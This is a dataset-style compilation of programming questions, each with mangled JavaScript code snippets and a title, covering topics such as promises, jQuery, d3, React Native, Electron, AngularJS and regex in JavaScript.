true , depth : null } ) + '\n ' ) } ) ) ; } ) ; } ) ; ss ( socket ) .on ( 'disconnect ' , function ( ) { console.log ( 'Disconnected ' ) ; } ) ; } ) ; { [ '1b3c0394d1146cecdc0b5d38486f0b99a6d7c750 ' , '85e3110930f87510b4782d50de86180ecbacf05d ' , '7cbd01b2a9d515736860014eabbc18893707e0c4 ' , '307308574fec6336493d0a9713ee98da21bbc1a7 ' , '9cb1636cdb2591361b7d7e4c9d04096c1bc93aff ' , '27d22c51a6f3e0d764039b095046ec563e53ae6b ' , '153451e251816823e3342d2f0b1425570d0f3d36 ' , '0a17b03e9fddfde49ad632dfe2437d76321c34eb ' , 'fdd23d78865d1855b16d171d24199dd4e2fba83a ' , '306e6f2b11e6bd6e2ef37acbe6e593ef2d1c0e1e ' ] } < script src= '' /socket.io/socket.io.js '' > < /script > < script src= '' /javascripts/socket.io-stream.js '' > < /script > < script > $ ( function ( ) { var socket = io ( ) ; ss ( socket ) .emit ( 'ready ' , 'Client ready , send me a stream ... ' ) ; ss ( socket ) .on ( 'sending ' , function ( stream , d ) { console.log ( stream ) ; } ) ; } ) ; < /script > ƒ ( ) { var args = slice.call ( arguments ) ; args = self.encoder.encode ( args ) ; ack.apply ( this , args ) ; }",Socket.io-Stream not sending to Client "JS : Problem 1 : only one API request is allowed at a given time , so the real network requests are queued while there 's one that has not been completed yet . An app can call the API level anytime and expecting a promise in return . When the API call is queued , the promise for the network request would be created at some point in the future - what to return to the app ? That 's how it can be solved with a deferred `` proxy '' promise : Problem 2 : some API calls are debounced so that the data to be sent is accumulated over time and then is sent in a batch when a timeout is reached . The app calling the API is expecting a promise in return.Since deferred is considered an anti-pattern , ( see also When would someone need to create a deferred ? ) , the question is - is it possible to achieve the same things without a deferred ( or equivalent hacks like new Promise ( function ( resolve , reject ) { outerVar = [ resolve , reject ] } ) ; ) , using the standard Promise API ? var queue = [ ] ; function callAPI ( params ) { if ( API_available ) { API_available = false ; return doRealNetRequest ( params ) .then ( function ( data ) { API_available = true ; continueRequests ( ) ; return data ; } ) ; } else { var deferred = Promise.defer ( ) ; function makeRequest ( ) { API_available = false ; doRealNetRequest ( params ) .then ( function ( data ) { deferred.resolve ( data ) ; API_available = true ; continueRequests ( ) ; } , deferred.reject ) ; } queue.push ( makeRequest ) ; return deferred.promise ; } } function continueRequests ( ) { if ( queue.length ) { var makeRequest = queue.shift ( ) ; makeRequest ( ) ; } } var queue = null ; var timeout = 0 ; function callAPI2 ( data ) { if ( ! queue ) { queue = { data : [ ] , deferred : Promise.defer ( ) } ; } queue.data.push ( data ) ; clearTimeout ( timeout ) ; timeout = setTimeout ( processData , 10 ) ; return queue.deferred.promise ; } function processData ( ) { callAPI ( queue.data ) .then ( queue.deferred.resolve , queue.deferred.reject ) ; queue = null ; }",Promises for promises that are yet to be created without using the deferred [ anti ] pattern JS : I want to add a parent div . These are four divs and i want to add a parent div above them . I tried thisBut this is adding cubeSpinner above faceone onlyBut i want the result should be like this < div id= '' faceone '' > < img src= '' '' > < /div > < div id= '' facetwo '' > < img src= '' '' > < /div > < div id= '' facethree '' > < img src= '' '' > < /div < div id= '' facefour '' > < img src= '' '' > < /div > $ ( ' # faceone ' ) .wrapAll ( ' < div class= '' cubeSpinner '' > ' ) ; < div class= '' cubeSpinner '' > < div id= '' faceone '' > < img src= '' '' > < /div > < /div > < div id= '' facetwo '' > < img src= '' '' > < /div > < div id= '' facethree '' > < img src= '' '' > < /div < div id= '' facefour '' > < img src= '' '' > < /div > < div class= '' cubeSpinner '' > < div id= '' faceone '' > < img src= '' '' > < /div > < div id= '' facetwo '' > < img src= '' '' > < /div > < div id= '' facethree '' > < img src= '' '' > < /div < div id= '' facefour '' > < img src= '' '' > < /div > < /div >,Adding parent div over multiple divs "JS : I 'm trying to extend string to provide a hash of itself . I am using the Node.js crypto library.I extend string like this : and I have a getHash function that looks like this : The function works fine when called directly , as inbut when I try : the method call fails . It appears that this in the String.prototype.hashCode is identified as an object when crypto.hash.update is called , but a string is expected . I thought that this inside String.prototype would be the string itself , but for some reason it looks like an object to getHash ( ) . How can I fix it ? String.prototype.hashCode = function ( ) { return getHash ( this ) ; } ; function getHash ( testString ) { console.log ( `` type is '' + typeof ( testString ) ) ; var crypto = require ( 'crypto ' ) ; var hash = crypto.createHash ( `` sha256 '' ) ; hash.update ( testString ) ; var result = hash.digest ( 'hex ' ) ; return result ; } var s = `` Hello world '' ; console.log ( getHash ( s ) ) ; var s = `` ABCDE '' ; console.log ( s.hashCode ( ) ) ;","Why does 'this ' inside String.prototype refer to an object type , not a string type ?" JS : I have a table that looks like this : I have this same chart on a few pages hard coded.I want to be able to change the tables on all the pages using js and jQueryI want to make it so that the YTD button is next to the From Date inputand the MTD is next to the To Date input.I have tried to do that here : http : //jsfiddle.net/maniator/W9YFF/9/But it seems that it gets messed up at some points.How do I fix that ? UPDATEIf I try doingMy result looks like this : $ ( 'input [ type= '' button '' ] [ value= '' YTD '' ] ' ) .insertAfter ( $ ( ' # fdate ' ) ) ; $ ( 'input [ type= '' button '' ] [ value= '' MTD '' ] ' ) .insertAfter ( $ ( ' # tdate ' ) ) ;,Manipulate HTML table with jQuery "JS : I 've got an Express app that runs via Gulpfile config.gulpfile.jsHow can I start debugging this application in Webstorm ? I 've tried 'Edit Configuration ' panel , setting up NodeJS configuration and Gulpfile configuration , but still no luck.I just do n't understand how to actually implement this kind of debug process.Any help would be appreciated . Thanks . 'use strict ' ; var gulp = require ( 'gulp ' ) ; var sass = require ( 'gulp-sass ' ) ; var prefix = require ( 'gulp-autoprefixer ' ) ; var browserSync = require ( 'browser-sync ' ) ; var nodemon = require ( 'gulp-nodemon ' ) ; var reload = browserSync.reload ; // we 'd need a slight delay to reload browsers// connected to browser-sync after restarting nodemonvar BROWSER_SYNC_RELOAD_DELAY = 500 ; gulp.task ( 'nodemon ' , function ( cb ) { var called = false ; return nodemon ( { // nodemon our expressjs server script : './bin/www ' , // watch core server file ( s ) that require server restart on change watch : [ 'app.js ' ] } ) .on ( 'start ' , function onStart ( ) { // ensure start only got called once if ( ! called ) { cb ( ) ; } called = true ; } ) .on ( 'restart ' , function onRestart ( ) { // reload connected browsers after a slight delay setTimeout ( function reload ( ) { reload ( { stream : false } ) ; } , BROWSER_SYNC_RELOAD_DELAY ) ; } ) ; } ) ; gulp.task ( 'browser-sync ' , [ 'nodemon ' ] , function ( ) { // for more browser-sync config options : http : //www.browsersync.io/docs/options/ browserSync ( { // informs browser-sync to proxy our expressjs app which would run at the following location proxy : 'http : //localhost:3000 ' , // informs browser-sync to use the following port for the proxied app // notice that the default port is 3000 , which would clash with our expressjs port : 4000 , // open the proxied app in chrome browser : [ 'google-chrome ' ] } ) ; } ) ; gulp.task ( 'js ' , function ( ) { return gulp.src ( 'public/**/*.js ' ) // do stuff to JavaScript files //.pipe ( uglify ( ) ) //.pipe ( gulp.dest ( ' ... ' ) ) ; } ) ; gulp.task ( 'sass ' , function ( ) { return gulp.src ( './public/scss/*.scss ' ) .pipe ( sass ( { outputStyle : 'compressed ' , sourceComments : 'map ' } , { errLogToConsole : true } ) ) .pipe ( prefix ( `` last 2 versions '' , `` > 1 % '' , `` ie 8 '' , `` Android 2 '' , `` Firefox ESR '' ) ) .pipe ( gulp.dest ( './public/stylesheets ' ) ) .pipe ( reload ( { stream : true } ) ) ; } ) ; gulp.task ( 'css ' , function ( ) { return gulp.src ( 'public/**/*.css ' ) .pipe ( reload ( { stream : true } ) ) ; } ) gulp.task ( 'bs-reload ' , function ( ) { reload ( ) ; } ) ; gulp.task ( 'default ' , [ 'browser-sync ' ] , function ( ) { gulp.watch ( 'public/**/*.js ' , [ 'js ' , reload ( ) ] ) ; gulp.watch ( 'public/scss/*.scss ' , [ 'sass ' ] ) ; gulp.watch ( 'public/**/*.html ' , [ 'bs-reload ' ] ) ; } )",How to debug Express app launched by nodemon via Gulpfile in WebStorm 10 ? JS : Say you have a 50px by 50px div/boxIn this box you want to have two links that bisect it diagonally like soYou could use the old map/area HTML but that 's undesirable since jquery does n't play very nicely with it ... but that 's another story.I 'm short of ideas and would really appreciate help/insight on how would you approach this situation . < div style= '' width : 50px ; height : 50px ; '' > < /div >,Creating diagonal link ( href ) areas "JS : I 'm working of a fairly simple world globe interface using D3 and the D3.geo.projection to create a spinning globe with data points on it . Everything worked fine ( i.e . the points `` eclipsed '' when they rotated away behind the horizon ) when I was just plotting the points with circles : But now I 'm trying to plot symbols instead of circles : And while this works , and the symbols plot in the right place on the globe , they persist even when they wrap to the back of the globe.I can hide them with a visibility property if I had a way to determine if they were eclipsed , but I do n't see a method in d3.geo.projection to do that . Any ideas ? svg.append ( `` g '' ) .attr ( `` class '' , '' points '' ) .selectAll ( `` text '' ) .data ( places.features ) .enter ( ) //for circle-point -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- .append ( `` path '' ) .attr ( `` d '' , path.pointRadius ( function ( d ) { if ( d.properties ) return 3+ ( 4*d.properties.scalerank ) ; } ) ) .attr ( `` d '' , path ) .attr ( `` class '' , `` point '' ) .on ( `` click '' , pointClick ) ; svg.append ( `` g '' ) .attr ( `` class '' , '' points '' ) .selectAll ( `` text '' ) .data ( places.features ) .enter ( ) //for image -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - .append ( `` image '' ) .attr ( `` xlink : href '' , `` img/x_symbol.png '' ) .attr ( `` x '' , -12 ) .attr ( `` y '' , -12 ) .attr ( `` width '' , 24 ) .attr ( `` height '' , 24 ) .attr ( `` transform '' , function ( d ) { return `` translate ( `` + projection ( [ d.properties.longitude , d.properties.latitude ] ) + `` ) '' } ) .attr ( `` class '' , `` point '' ) .on ( `` click '' , pointClick ) ;",How can I determine if a point is hidden on a projection ? "JS : This is the first time I face the issue and ca n't figure out why.I 'm using d3 to create an icicle chart.There is a click event that is firing and calling changePath ( ) . I see the console log which means that I do have access to $ location.path but when I try to set it nothing happens : not a new page , not an error page , nothing ! If I do n't change paths via angular my router wo n't maintain scope which is what I 'm looking for.Any clues ? var parentCtrl = function ( $ scope , $ location ) { $ scope.makeBSC = function ( ) { var changePath = function ( el ) { console.log ( $ location.path ( ) ) ; $ location.path ( el ) } var width = 405 , height = 420 , color = d3.scale.category20c ( ) ; var vis = d3.select ( `` # bscChart '' ) .append ( `` svg '' ) .attr ( `` width '' , height ) .attr ( `` height '' , width ) ; var partition = d3.layout.partition ( ) .size ( [ width , height ] ) .value ( function ( d ) { return d.size ; } ) ; var json = data ; vis.data ( [ json ] ) .selectAll ( `` rect '' ) .data ( partition.nodes ) .enter ( ) .append ( `` rect '' ) .attr ( `` y '' , function ( d ) { return d.x ; } ) .attr ( `` x '' , function ( d ) { return d.y ; } ) .attr ( `` height '' , function ( d ) { return d.dx ; } ) .attr ( `` width '' , function ( d ) { return d.dy ; } ) .attr ( `` class '' , function ( d ) { if ( d.isSel ) return `` rectBlue '' return `` rectGray '' } ) .on ( `` click '' , function ( d ) { changePath ( d.goTo ) ; } ) ; } }",$ location not working in AngularJS using d3.js "JS : I am running into the following error after I upgraded to react native 0.48 , which is showing on the expo app ( in IOS only ) when rendering scrollview has no proptype for native prop RCTScrollView.onScrollAnimationEnd of native type BOOL .if you havent changed this prop yourself this usually means that your versions of the native code and javascript code are out of sync . Updating oth should make this error go away.Not sure why , But I narrowed my code base down as much as possible . this error is generated when I try to use ListView.Here is the code base : And here are my dependencies : I took a look over the docs for ListView , seems like its deprecated , but it should still work ? FlatList generates the same error as well when i tried it.Note : I made sure there is n't another packager running . import React from 'react ' ; import { AppRegistry , View , Text , StyleSheet , ListView } from 'react-native ' ; const styles = StyleSheet.create ( { fullView : { flex:1 } , statusBar : { backgroundColor : '' # de3c3c '' , padding:5 } , } ) ; class MyComponent extends React.Component { constructor ( ) { super ( ) ; const ds = new ListView.DataSource ( { rowHasChanged : ( r1 , r2 ) = > r1 ! == r2 } ) ; this.state = { dataSource : ds.cloneWithRows ( [ 'row 1 ' , 'row 2 ' ] ) , } ; } render ( ) { return ( < ListView dataSource= { this.state.dataSource } renderRow= { ( rowData ) = > < Text > { rowData } < /Text > } / > ) ; } } export default MyComponent ; `` dependencies '' : { `` expo '' : `` ^20.0.0 '' , `` react '' : `` ^16.0.0-alpha.12 '' , `` react-native '' : `` ^0.48.1 '' , `` react-navigation '' : `` ^1.0.0-beta.11 '' }",React Native 0.48 - ` scrollview has no proptype for native "JS : The switch component Blueprint ( demo and documentation here ) displays no border when selected/unselected . I included this component in a React component as follows : When I click the switch component , it displays a border as follows : The border remains until the focus is lost , that is , I click on something else on the page . I am including the Blueprint css files from the css of my main componeent as follows : The css appears to be working for buttons , input controls etc . What am I missing ? Why is the switch displaying that focus/bounding box on focus ? import { Component } from `` react '' ; import { Switch } from `` @ blueprintjs/core '' ; import React from `` react '' ; class BPrintMain extends Component { render ( ) { return ( < Switch id= '' switch-input-3 '' label= '' Public '' disabled= { false } / > ) } } export { BPrintMain } ; @ import `` ~ @ blueprintjs/core/lib/css/blueprint.css '' ; @ import `` ~normalize.css '' ; @ import `` ~ @ blueprintjs/icons/lib/css/blueprint-icons.css '' ;",How do I hide the border around Blueprint.js switch component ? "JS : I am trying to figure out how to get Windows to Snap Assist my electron window ( display thumbnails of open windows after snapping another window to one side ) .For some reason , when I snap another program to half the screen , when it gives the option to select an app for the other half of the screen , my app is not available in the options.Is there a feature or BrowserWindow configuration that needs to be turned on/set for this to work ? EDIT : I wanted to note that I know this can work , as it works in other apps like Slack and Discord.EDIT : Adding the settings for my main browser window : Resizable is initially set to false during a login screen , but becomes true once logged in . mainWindow = new BrowserWindow ( { title : app.getName ( ) , width : wndSettings.size.width , height : wndSettings.size.height , resizable : wndSettings.resizable , frame : false , icon : windowIcon , alwaysOnTop : false , show : false , autoHideMenuBar : true } ) ; mainWindow.on ( 'ready-to-show ' , function ( ) { mainWindow.show ( ) ; } ) ;",Window 's Snap Assist does not find my electron application "JS : Is there a simple way in javascript to take a flat array and convert into an object with the even-indexed members of the array as properties and odd-indexed members as corresponding values ( analgous to ruby 's Hash [ *array ] ) ? For example , if I have this : Then I want this : The best I 've come up with so far seems more verbose than it has to be : Is there a better , less verbose , or more elegant way to do this ? ( Or I have just been programming in ruby too much lately ? ) I 'm looking for an answer in vanilla javascript , but would also be interested if there is a better way to do this if using undercore.js or jQuery . Performance is not really a concern . [ ' a ' , ' b ' , ' c ' , 'd ' , ' e ' , ' f ' ] { ' a ' : ' b ' , ' c ' : 'd ' , ' e ' : ' f ' } var arr = [ ' a ' , ' b ' , ' c ' , 'd ' , ' e ' , ' f ' ] ; var obj = { } ; for ( var i = 0 , len = arr.length ; i < len ; i += 2 ) { obj [ arr [ i ] ] = arr [ i + 1 ] ; } // obj = > { ' a ' : ' b ' , ' c ' : 'd ' , ' e ' : ' f ' }","Convert flat array [ k1 , v1 , k2 , v2 ] to object { k1 : v1 , k2 : v2 } in JavaScript ?" "JS : I had some apps that used the multi-location update method as below : Yet , as I 'm developing a new app , I got the following message : FIREBASE WARNING : Passing an Array to Firebase.update ( ) is deprecated . Use set ( ) if you want to overwrite the existing data , or an Object with integer keys if you really do want to only update some of the children.With no real info anywhere about how to perform multi-location atomic updates anywhere , and the docs are still with the old method . Chaining then ( ) is not a good idea , as it would be a nightmare to rollback.Any clues and/or information on new multi-location updates methods ? const updates = [ ] ; updates [ '/location1 ' ] = data ; updates [ '/location2 ' ] = data2 ; firebase.database ( ) .ref ( ) .update ( updates ) ;","Firebase - Multi-location updates method deprecated , what now ?" "JS : If I writeWhat is the value of b , according to the specification ? ( By experiment , it 's { foo : 2 , bar : 1 } , but I worry whether this is implementation-specific . ) var a = [ 1,2 ] ; var b = { foo : a.pop ( ) , bar : a.pop ( ) } ;",Javascript object initialization and evaluation order "JS : I am using an angular factory to perform CRUD on my classes on Parse.com . I have a total of 4 classes and need to perform create , get , put , delete on all 4 . Although the URL is different for each one everything else remains the same . Can I pass variables to the factory to change the class name in the api URL ? Here is an example of one factory . Obviously this x4 is a mess . So I need to change the URL from /Programmes to /Users /PrescriptionI am calling this like from my controller like this : Secondly how am I able to tag the error handler onto this controller function as per the Javascript SDK ? .factory ( 'Programme ' , [ ' $ http ' , 'PARSE_CREDENTIALS ' , function ( $ http , PARSE_CREDENTIALS ) { return { getAll : function ( ) { return $ http.get ( 'https : //api.parse.com/1/classes/Programme ' , { headers : { ' X-Parse-Application-Id ' : PARSE_CREDENTIALS.APP_ID , ' X-Parse-REST-API-Key ' : PARSE_CREDENTIALS.REST_API_KEY , ' X-Parse-Session-Token ' : PARSE_CREDENTIALS.PARSE_SESSION } } ) ; } , get : function ( id ) { return $ http.get ( 'https : //api.parse.com/1/classes/Programme/'+id , { headers : { ' X-Parse-Application-Id ' : PARSE_CREDENTIALS.APP_ID , ' X-Parse-REST-API-Key ' : PARSE_CREDENTIALS.REST_API_KEY , ' X-Parse-Session-Token ' : PARSE_CREDENTIALS.PARSE_SESSION } } ) ; } , create : function ( data ) { return $ http.post ( 'https : //api.parse.com/1/classes/Programme ' , data , { headers : { ' X-Parse-Application-Id ' : PARSE_CREDENTIALS.APP_ID , ' X-Parse-REST-API-Key ' : PARSE_CREDENTIALS.REST_API_KEY , ' X-Parse-Session-Token ' : PARSE_CREDENTIALS.PARSE_SESSION , 'Content-Type ' : 'application/json ' } } ) ; } , edit : function ( id , data ) { return $ http.put ( 'https : //api.parse.com/1/classes/Programme/'+id , data , { headers : { ' X-Parse-Application-Id ' : PARSE_CREDENTIALS.APP_ID , ' X-Parse-REST-API-Key ' : PARSE_CREDENTIALS.REST_API_KEY , ' X-Parse-Session-Token ' : PARSE_CREDENTIALS.PARSE_SESSION , 'Content-Type ' : 'application/json ' } } ) ; } , delete : function ( id ) { return $ http.delete ( 'https : //api.parse.com/1/classes/Programme/'+id , { headers : { ' X-Parse-Application-Id ' : PARSE_CREDENTIALS.APP_ID , ' X-Parse-REST-API-Key ' : PARSE_CREDENTIALS.REST_API_KEY , ' X-Parse-Session-Token ' : PARSE_CREDENTIALS.PARSE_SESSION , 'Content-Type ' : 'application/json ' } } ) ; } } } ] ) Programme.edit ( $ localStorage.programme.id , { exerciseData : exercises } ) .success ( function ( data ) { } ) ;",Angular Parse REST factory variables "JS : I want this scan line effect to work properly . To reveal the text from left to right . As if the cathode-ray is burning it into the phosphors on the screen.The idea is to slide across black rows , that have a transparent tip . Here is a 80 % working demo . The rightmost black .mask div in every row will not expand . It must.I have tried to keep the right-most .mask div with a black background as inline-block and make it full width . I somewhat understand why the request does not work ( width:100 % pushes the other inline-blocks onto the next line , as is only proper ) , but there must be a way to get this full right hand side without hacking the widths in javascript . .row { font-family : 'Courier New ' , Courier , monospace ; font-size:16px ; display : block ; height : auto ; width:100 % ; min-width:20 % ; position : relative ; margin-right:0px ; } .mask { display : inline-block ; width : auto ; /* 100 % does not work */ background : black ; white-space : pre ; }",Fully expand this CSS inline-block div scan-line "JS : I did a fiddle to demonstrate my problem.I am having problem to turn off a function activated by a class , any ideas ? Thanks in advance . $ ( document ) .ready ( function ( ) { $ ( '.changeText ' ) .click ( function ( ) { $ ( this ) .html ( $ ( this ) .html ( ) == 'Test ' ? 'Changed ' : 'Test ' ) ; } ) ; $ ( '.changeBG ' ) .click ( function ( ) { $ ( this ) .css ( 'background-color ' , 'red ' ) ; } ) ; /* in some cases I need to turn off changeBG function */ $ ( '.changeBG ' ) .removeClass ( 'changeBG ' ) ; // but if you click the div it still turns into red . } ) ;",Removing a class does n't disable the event listener function associated with the removed class "JS : I 've just read that WeakMaps take advantage of garbage collection by working exclusively with objects as keys , and that assigning an object to null is equivalent to delete it : Then I set the object equal to null : Why is the output the same ? Was n't it supposed to be deleted so that the gc could reuse the memory previously occupied later in the app ? I would appreciate any clarification . Thanks ! let planet1 = { name : 'Coruscant ' , city : 'Galactic City ' } ; let planet2 = { name : 'Tatooine ' , city : 'Mos Eisley ' } ; let planet3 = { name : 'Kashyyyk ' , city : 'Rwookrrorro ' } ; const lore = new WeakMap ( ) ; lore.set ( planet1 , true ) ; lore.set ( planet2 , true ) ; lore.set ( planet3 , true ) ; console.log ( lore ) ; // output : WeakMap { { … } = > true , { … } = > true , { … } = > true } planet1 = null ; console.log ( lore ) ; // output : WeakMap { { … } = > true , { … } = > true , { … } = > true }",JavaScript ( ES6 ) WeakMap garbage collection when set an object to null "JS : I want to build a JavaScript function that transforms text into another format , from this : To this : I 've been messing with this code in my Chrome browser console using regex replacements , however it will not replace anything . Here is one of the approaches I 've tried , a is the test object , the problem is on the second replacement : Studying regex101 demos , the pattern / ( \d+ ) \.\s+\ [ [ ^ ] ] +\ ] \s* ` ( [ ^ ` ] * ) ` \s*/g will replace properly in PHP ( PCRE ) and Python , but not on JavaScript.Why ? MATCH 11 . [ 4-17 ] ` public direct ` 2 . [ 18-29 ] ` routing.key ` MATCH 21 . [ 35-41 ] ` direct ` 2 . [ 42-52 ] ` routingkey ` MATCH 1 : [ Group 1 : public direct ] [ Group 2 : routing.key ] MATCH 2 : [ Group 1 : direct ] [ Group 2 : routingkey ] a = `` MATCH 1 \n\1 . [ 4-17 ] ` public direct ` \n\2 . [ 18-29 ] ` routing.key ` \n\MATCH 2 \n\1 . [ 35-41 ] ` direct ` \n\2 . [ 42-52 ] ` routingkey ` `` var repl = a.replace ( /^ ( MATCH\s\d+ ) \s*/gm , `` $ 1 : `` ) .replace ( / ( \d+ ) \.\s+\ [ [ ^ ] ] +\ ] \s* ` ( [ ^ ` ] * ) ` \s*/g , `` [ Group $ 1 : $ 2 ] '' ) .replace ( / ( ? =MATCH\s\d+ : ) /g , `` \n '' ) console.log ( repl )","Why does this regex replacement not work for JavaScript , but instead only work for other engines ?" "JS : I am trying to get my document.on function to work when the user clicks on the p tag that has a class called card . So far the function is non responsive . What should I change so the function will respond when I click on the p tag that has a class called card . Here is my HTML and JQuery code.Here is my css code < ! DOCTYPE HTML > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < meta name= '' description '' content= '' Contacts '' > < title > Contacts < /title > < link rel= '' stylesheet '' type= '' text/css '' href= '' style.css '' > < script type= '' text/javascript '' src= '' jquery.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( 'button ' ) .click ( function ( ) { var first = $ ( 'input.first ' ) .val ( ) ; var last = $ ( 'input.last ' ) .val ( ) ; var desc = $ ( 'textarea ' ) .val ( ) ; $ ( 'div.right ' ) .append ( `` < p class='card ' > < h1 > '' + first + ' '+last+ '' < /h1 > < h4 > 'Click for description ! ' < /h4 > < /p > < p class='back ' > '' +desc+ '' < /p > '' ) ; return false ; } ) ; $ ( document ) .on ( 'click ' , ' p.card ' , function ( ) { //this is the function I am trying to get to work . alert ( `` test '' ) ; } ) ; } ) ; < /script > < /head > < body > < div class= '' wrapper '' > < div class= '' left '' > < form action= '' # '' > < p > First name : < input type= '' text '' name= '' fname '' class= '' first '' > < /p > < p > Last name : < input type= '' text '' name= '' lname '' class= '' last '' > < /p > < p class= '' desc '' > Description : < /p > < p > < textarea rows= '' 4 '' cols= '' 50 '' > < /textarea > < /p > < button > Add User < /button > < /form > < /div > < div class= '' right '' > < /div > < /div > < /body > * { /* outline : 2px dotted red ; */ border : 0 none ; padding : 0 ; margin : 0 ; } div.wrapper { width : 970px ; min-height : 100px ; margin-left : auto ; margin-right : auto ; } div.left { border : 2px solid black ; width : 500px ; display : inline-block ; } div.right { width : 200px ; display : inline-block ; height : 100px ; vertical-align : top ; padding-right : 100px ; text-align : center ; } p { margin-left : 80px ; margin-top : 20px ; font-size : 20px ; width : 400px ; } p.email { margin-left : 45px ; } button { margin : 30px ; height : 20px ; width : 100px ; margin-left : 75px ; text-align : center ; } div.card { margin-left : 100px ; margin-bottom : 20px ; border : 2px solid black ; width : 300px ; height : 100px ; text-align : center ; } p.back { display : none ; margin : 0px ; padding : 0px ; text-align : center ; } textarea { border : 2px solid black ; }",Trying to get $ ( document ) .on ( 'Click ' ) to work for a p tag "JS : o.prototype = { ... } is working only if o is a Function.Suppose I 've the following Codeconf.a and conf.b is OK and returns proper values . But conf.d does n't return 16 rather it goes undefined . Is there any solution suck that prototype based generalization can also be applied on these type of Objects . conf = { a : 2 , b : 4 } ; conf.prototype = { d : 16 }",JavaScript prototype limited to functions ? "JS : I 'm using HTML Tidy in PHP and it 's producing unexpected results because of a < script > tag in a JavaScript string literal . Here 's a sample input : HTML Tidy 's output : It 's interpreting < /script > < /html > as part of the script . Then , it adds another < /script > < /html > to close the open tags . I tried this on an online version of HTML Tidy ( http : //www.dirtymarkup.com/ ) and it 's producing the same error.How do I prevent this error from occurring in PHP ? < html > < script > var t= ' < script > < '+'/script > ' ; < /script > < /html > < html > < script > // < ! [ CDATA [ var t= ' < script > < '+'/script > ' ; < \/script > < \/html > // ] ] > < /script > < /html >",HTML Tidy fails on script tag in JavaScript string literal "JS : What would the regex pattern be to match all decimals but the first one ? I 'm using javascript 's replace ( ) , and would like to remove all but the first decimal in a string.Examples : 1.2.3.4.5 -- > 1.2345.2.3.4.5 -- > .23451234.. -- > 1234 .",Regex : Match all decimals but the first one "JS : I 'm trying to modify this examplehttp : //storelocator.googlecode.com/git/examples/panel.htmlthe javascript code is here : https : //gist.github.com/2725336the aspect I 'm having difficulties with is changing this : to create the FeatureSet from a function , so for example I have this function which parses a JSON objectso then change the first code snippet to something likewhich returns an error : MedicareDataSource.prototype.FEATURES_ = new storeLocator.FeatureSet ( new storeLocator.Feature ( 'Wheelchair-YES ' , 'Wheelchair access ' ) , new storeLocator.Feature ( 'Audio-YES ' , 'Audio ' ) ) ; WPmmDataSource.prototype.setFeatures_ = function ( json ) { var features = [ ] ; // convert features JSON to js object var rows = jQuery.parseJSON ( json ) ; // iterate through features collection jQuery.each ( rows , function ( i , row ) { var feature = new storeLocator.Feature ( row.slug + '-YES ' , row.name ) features.push ( feature ) ; } ) ; return new storeLocator.FeatureSet ( features ) ; } ; WPmmDataSource.prototype.FEATURES_ = this.setFeatures_ ( wpmm_features ) ; Uncaught TypeError : Object [ object Window ] has no method 'setFeatures_ '",google maps store locator modify hardcoded initialization to dynamic "JS : I 'm plowing into the exciting world of force-directed layouts with d3.js . I 've got a grasp of the fundamentals of d3 , but I ca n't figure out the basic system for setting up a force-directed layout.Right now , I 'm trying to create a simple layout with a few unconnected bubbles that float to the center . Pretty simple right ! ? The circles with the correct are created , but nothing happens.Edit : the problem seems to be that the force.nodes ( ) returns the initial data array . On working scripts , force.nodes ( ) returns an array of objects.Here 's my code : < script > $ ( function ( ) { var width = 600 , height = 400 ; var data = [ 2,5,7,3,4,6,3,6 ] ; //create chart var chart = d3.select ( 'body ' ) .append ( 'svg ' ) .attr ( 'class ' , 'chart ' ) .attr ( 'width ' , width ) .attr ( 'height ' , height ) ; //create force layout var force = d3.layout.force ( ) .gravity ( 30 ) .alpha ( .2 ) .size ( [ width , height ] ) .nodes ( data ) .links ( [ ] ) .charge ( 30 ) .start ( ) ; //create visuals var circles = chart.selectAll ( '.circle ' ) .data ( force.nodes ( ) ) //what should I put here ? ? ? .enter ( ) .append ( 'circle ' ) .attr ( 'class ' , 'circles ' ) .attr ( ' r ' , function ( d ) { return d ; } ) ; //update locations force.on ( `` tick '' , function ( e ) { circles.attr ( `` cx '' , function ( d ) { return d.x ; } ) .attr ( `` cy '' , function ( d ) { return d.y ; } ) ; } ) ; } ) ; < /script >",Basics of D3 's Force-directed Layout "JS : I had a code problem when testing if some vars are empty or not , and decide to test it in a fiddle : Testing null valuesThe result is : I tested in Safari , same result.I was coding in php altogether with JS and had problems in adjust my mind . In php , $ var = array ( ) returns NULL , but in JavaScript it seams there is never null value at any type . In EcmaScript definition , null is `` primitive value that represents the intentional absence of any object value '' , but it seams impossible in JavaScript at list by my tests , excluding the case of v = null that i think is a Null type of var.In addition , I believe AS3 follow the ecmascript concept by split type of for from it 's values , the var statement `` build '' a var as an object apart from values.So how do we correctly refer to a null value , if there is a way to ? EDITI did this test when I had this situation : I created a variable that has the relative directory of a graphic library . If this variable is null , it means I do n't wish to change it from the default value ( I have a table with default values ) during initializing phase of my software , so the system just add the proper http base for the directory . If the variable is not null , it will assume the value was just assigned to it . But if it is an empty space , it means the directory is the root , but will be taken as null , generating an error.Dinamyc : var result = `` '' ; var Teste = new Object ( ) ; Teste.ObjectNew = new Object ( ) ; Teste.StringNew = new String ( ) ; Teste.NumberNew = new Number ( ) ; Teste.ArrayNew = new Array ( ) ; Teste.ObjectLiteral = { } ; Teste.StringLiteral = `` '' ; Teste.NumberLiteral = 0 ; Teste.ArrayLiteral = [ ] ; Teste.ObjectNull = Object ( null ) ; Teste.StringNull = String ( null ) ; Teste.NumberNull = Number ( null ) ; Teste.ArrayNull = [ null ] ; for ( var i in Teste ) { if ( Teste [ i ] == null ) { result += `` < p > Type `` + i + `` is null : `` + Teste [ i ] + `` < /p > '' ; } else { result += `` < p > Type `` + i + `` is not null : `` + Teste [ i ] + `` < /p > '' ; } } document.getElementById ( `` result '' ) .innerHTML = result ; < div id= '' result '' > < /div > Type ObjectNew is not null : [ object Object ] Type StringNew is not null : Type NumberNew is not null : 0Type ArrayNew is not null : Type ObjectLiteral is not null : [ object Object ] Type StringLiteral is not null : Type NumberLiteral is not null : 0Type ArrayLiteral is not null : Type ObjectNull is not null : [ object Object ] Type StringNull is not null : nullType NumberNull is not null : 0Type ArrayNull is not null : var dir = new String ( ) ; // should be null// initializingdir = `` '' ; // the directory will be the root// finish iniif ( dir==null ) … // assume the default value , but this does n't work , so how can I know ?",What is the JavaScript behavior of a null value ? "JS : I 've been learning about continuation passing style , particularly the asynchronous version as implemented in javascript , where a function takes another function as a final argument and creates an asychronous call to it , passing the return value to this second function.However , I ca n't quite see how continuation-passing does anything more than recreate pipes 